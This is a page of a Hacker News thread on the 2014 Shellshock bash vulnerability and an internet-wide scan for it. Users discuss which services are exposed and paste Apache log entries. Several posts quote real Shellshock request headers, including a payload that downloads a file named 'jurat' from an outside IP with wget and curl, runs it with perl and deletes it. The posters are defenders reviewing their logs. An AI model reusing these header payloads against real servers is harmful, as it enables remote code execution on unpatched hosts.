Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Bash 'shellshock' scan of the Internet

blog.erratasec.com

Post reply on HN
Print view View original

31–40 of 42 posts

Re: Bash 'shellshock' scan of the Internet

#32

Post by agwa »

peterhu wrote: post #23
agwa wrote: post #22

Earlier quoted context omitted.

Your CGI application does not need to be written in bash for you to be vulnerable. If at any point your non-bash CGI program (and this includes PHP, even with mod_php, since it sets the same environment variables), or one of its descendant processes, executes a bash script, you can be exploited. This is especially bad on systems where /bin/sh is /bin/bash, since /bin/sh gets invoked implicitly by system(3). So you co…

According to https://access.redhat.com/articles/1200223 , mod_php is not vulnerable.

You're right; thanks! I saw the HTTP_* variables in phpinfo() and assumed they'd be passed on to children through system(), but they actually aren't. In fact the only environment variables passed through look pretty innocuous.

Re: Bash 'shellshock' scan of the Internet

#33

Post by boes »

piran wrote: post #29
lcedp wrote: post #28

Now I see him 209.126.230.72 - - [25/Sep/2014:07:43:58 +0300] "GET / HTTP/1.0" 200 151 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" ..and someone else 89.207.135.125 - - [25/Sep/2014:12:51:01 +0300] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 168 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

I just saw something from 89.207.135.125 -- no idea who that is.

Saw that one two, seems its another guy doing a full scan

Re: Bash 'shellshock' scan of the Internet

#34

Post by dsl »

agwa wrote: post #22
dsl wrote: post #8

Earlier quoted context omitted.

The same people who write CGI applications in bash?

Your CGI application does not need to be written in bash for you to be vulnerable. If at any point your non-bash CGI program (and this includes PHP, even with mod_php, since it sets the same environment variables), or one of its descendant processes, executes a bash script, you can be exploited. This is especially bad on systems where /bin/sh is /bin/bash, since /bin/sh gets invoked implicitly by system(3). So you co…

I didn't say it required it. I simply pointed out (albeit sarcastically) that CGI scripts do get written in bash, and people often often make use of sudo within them. I've seen such a beast in production at multiple companies.

The amusing up/down vote war I am watching on my karma gives me hope that at least 50% of HN got it...

Re: Bash 'shellshock' scan of the Internet

#35

Post by nitrogen »

ilaksh wrote: post #27
nitrogen wrote: post #26

Earlier quoted context omitted.

dhclient : sort of. If you connect to a malicious access point, or someone runs a rogue DHCP server on a network you trust, they could potentially attack dhclient. CUPS : If you are exposing a CUPS server to the Internet to allow remote printing.

OK so are those the only ones you know of? I am going to patch but just wondering about this category of attack in a more general sense so want to make sure I understand the scope of this particular one. So say I have a server that is running a VPN (tinc). Then another system is connected to that same VPN network. Are you saying that by running a DHCP server on the second system, my server could be compromised?

It's impossible to enumerate all evil. There's no way of knowing what else is vulnerable until it's demonstrated to be vulnerable. I've commented elsewhere, though, describing what types of function calls and programs are likely to be vulnerable.

Re: Bash 'shellshock' scan of the Internet

#36

Post by ProblemFactory »

agwa wrote: post #2

I've been monitoring my Apache logs all day for the string "() {". So far Robert Graham's scan is the only match. This is what the log entry looks like: 209.126.230.72 - - [24/Sep/2014:22:07:56 +0000] "GET / HTTP/1.0" 403 492 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"

Thanks for the idea. Looks like there is someone out there already trying to download and install remote shells:

    access.log:89.207.135.125 - - [25/Sep/2014:12:30:00 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 302 169 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
    access.log:146.71.113.194 - - [26/Sep/2014:00:26:04 +0000] "GET /cgi-bin/helpme HTTP/1.0" 302 169 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat*;rm -rf /tmp/jurat\x22"
    access.log:146.71.113.194 - - [26/Sep/2014:00:26:05 +0000] "GET /cgi-bin/helpme HTTP/1.0" 404 13272 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat*;rm -rf /tmp/jurat\x22"
Any suggestions on how to best check if they succeeded? I think I'm safe as I upgraded Ubuntu Bash right after the announcement, and run Nginx+Uwsgi instead of Apache with CGI enabled. But Nginx might set some environment variables somewhere as well.

Re: Bash 'shellshock' scan of the Internet

#37

Post by rsmarples »

joeshaw wrote: post #30

The DHCP attack vector is the one that is scariest to me. We know that dhclient on Linux is vulnerable, but the number of unpatched Linux machines on a public wifi network will likely be too small to be worthwhile to try to capture. Macs on the other hand are prevalent in places like coffee shops, and Apple is notoriously slow to patch security vulnerabilities in their operating systems. Has anyone done much analysis…

dhcpcd-6.4.7 is not vulnerable to this issue as it sanitises variables before calling the shell.

Re: Bash 'shellshock' scan of the Internet

#38

Post by waynecochran »

From Apache Log -- should I be worried -- bash not patched on OS X box. Anyone know what this does?

    "GET /cgi-bin/hi HTTP/1.0" 404 357 "-" "() { :;}; /bin/bash -c "cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat;rm -rf /tmp/jurat\""

Re: Bash 'shellshock' scan of the Internet

#39

Post by waynecochran »

waynecochran wrote: post #38

From Apache Log -- should I be worried -- bash not patched on OS X box. Anyone know what this does? "GET /cgi-bin/hi HTTP/1.0" 404 357 "-" "() { :;}; /bin/bash -c "cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat;rm -rf /tmp/jurat\""

discussed at http://www.solutionary.com/resource-center/blog/2014/09/shel...

Bad news.

Re: Bash 'shellshock' scan of the Internet

#40

Post by waynecochran »

ProblemFactory wrote: post #36
agwa wrote: post #2

I've been monitoring my Apache logs all day for the string "() {". So far Robert Graham's scan is the only match. This is what the log entry looks like: 209.126.230.72 - - [24/Sep/2014:22:07:56 +0000] "GET / HTTP/1.0" 403 492 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"

Thanks for the idea. Looks like there is someone out there already trying to download and install remote shells: access.log:89.207.135.125 - - [25/Sep/2014:12:30:00 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 302 169 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" access.log:146.71.113.194 - - [26/Sep/2014:00:26:04 +0000] "GET /cgi-bin/helpme HTTP/1.0" 302 169 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://…

I saw a similar thing in my apache log. I shut the machine down. I will check for changed files via `find` http://xmodulo.com/how-to-find-recently-modified-files-on-li... when I get the chance.
Post reply on HN